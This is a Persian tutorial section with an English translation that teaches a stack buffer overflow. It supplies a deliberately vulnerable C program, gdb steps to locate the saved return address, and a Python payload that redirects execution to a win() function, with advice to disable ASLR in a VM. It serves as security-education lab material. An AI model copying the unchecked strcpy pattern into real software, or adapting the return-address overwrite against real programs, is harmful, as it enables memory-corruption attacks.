قسمت هشتم overwrite آدرس بازگشت و اجرای تابع win
کاری که میخواییم بکنیم
تو این قسمت مرحله به مرحله نشون میدیم چطور آفست بین ابتدای بافر و saved return address رو پیدا کنیم
بعد یاد میگیریم چطور آدرس تابع win رو بگیریم و ورودی بسازیم که وقتی vuln برمیگرده به جای برگشت عادی تابع win اجرا بشه
کد فایل file5_vuln.c
#include <stdio.h>
#include <string.h>
void win() {
puts("congrats you reached win");
}
void vuln(char *s) {
char buf[32];
strcpy(buf, s);
puts("returned from vuln");
}
int main(int argc, char **argv) {
if (argc < 2) {
printf("usage %s input\n", argv[0]);
return 1;
}
vuln(argv[1]);
puts("done main");
return 0;
}
کامپایل کنید
gcc -g file5_vuln.c -o file5_vuln -fno-stack-protector
یک الگو بفرستید یا فقط A تکراری بفرستید تا کرش کنه
python3 -c "print('A'*200)" > in.txt
gdb --args ./file5_vuln $(cat in.txt)
تو gdb توقف بذارید و قبل و بعد از strcpy نگاه کنید
break vuln
run
x/40x $rbp-64
# حافظه پایینتر از rbp رو ببینید قبل از strcpy
next
# اجرای کامل strcpy
x/40x $rbp-64
# بعد از strcpy ببینید چی تغییر کرده
وقتی کرش یا overwrite دیدید ادرس 8 بایتی که تو محل return افتاده رو بخونید
x/gx $rbp+8
ادرس تابع win رو بگیرید
p &win
ساخت payload ساده برای فرستادن آدرس win به جای return address
فرض کنید آفست بین ابتدای بافر و saved return address شد مثلا 40 اینطوری payload میسازیم آدرس win رو از دستور p &win بگیرید
python3 - <<'PY' > payload.bin
import sys,struct
offset = 40 # عددی که خودتون پیدا کردید
addr_win = 0x414141414141
# اینو با آدرس واقعی جایگزین کنید مثلا 0x4006b6
sys.stdout.buffer.write(b'A'*offset + struct.pack('<Q', addr_win))
PY
بعد اجرا کنید
./file5_vuln "$(cat payload.bin)"
اگر درست زدید وقتی vuln برمیگرده به جای برگشت عادی تابع win اجرا میشه و متنش چاپ میشه
نکتههای مهم
آدرس ها داخل لینوکس x86_64 به صورت little endian هستن برای همین از struct.pack با '<Q' استفاده کردیم
برای اینکه آدرس ثابت باشه ASLR رو داخل VM خاموش کنید یا از پیکربندی VM استفاده کنید
Part 8 Overwrite the return address and execute the win function
What we are going to do
In this part, we will show you step by step how to find the offset between the beginning of the buffer and the saved return address
Then we will learn how to get the address of the win function and create an input so that when vuln returns, the win function is executed instead of the normal return
File code file5_vuln.c
#include <stdio.h>
#include <string.h>
void win() {
puts("congrats you reached win");
}
void vuln(char *s) {
char buf[32];
strcpy(buf, s);
puts("returned from vuln");
}
int main(int argc, char **argv) {
if (argc < 2) {
printf("usage %s input\n", argv[0]);
return 1;
}
vuln(argv[1]);
puts("done main");
return 0;
}
Compile
gcc -g file5_vuln.c -o file5_vuln -fno-stack-protector
Send a pattern or just a repeated A to crash
python3 -c "print('A'*200)" > in.txt
gdb --args ./file5_vuln $(cat in.txt)
Stop gdb and look before and after strcpy
break vuln
run
x/40x $rbp-64
# See memory below rbp before strcpy
next
# Run strcpy completely
x/40x $rbp-64 # See what changed after strcpy
When you see a crash or overwrite, read the 8-byte address that was in the return location
x/gx $rbp+8
Get the address of the win function
p &win
Create a simple payload to send the address of win to Instead of return address
Assume the offset between the beginning of the buffer and the saved return address is, for example, 40. This is how we create the payload. Get the win address from the p &win command
python3 - <<'PY' > payload.bin
import sys,struct
offset = 40 # The number you found yourself
addr_win = 0x414141414141
# Replace this with the real address, for example, 0x4006b6
sys.stdout.buffer.write(b'A'*offset + struct.pack('<Q', addr_win))
PY
Then run
./file5_vuln "$(cat payload.bin)"
If you typed correctly, when vuln returns, the win function will be executed instead of the normal return and its text will be printed
Important points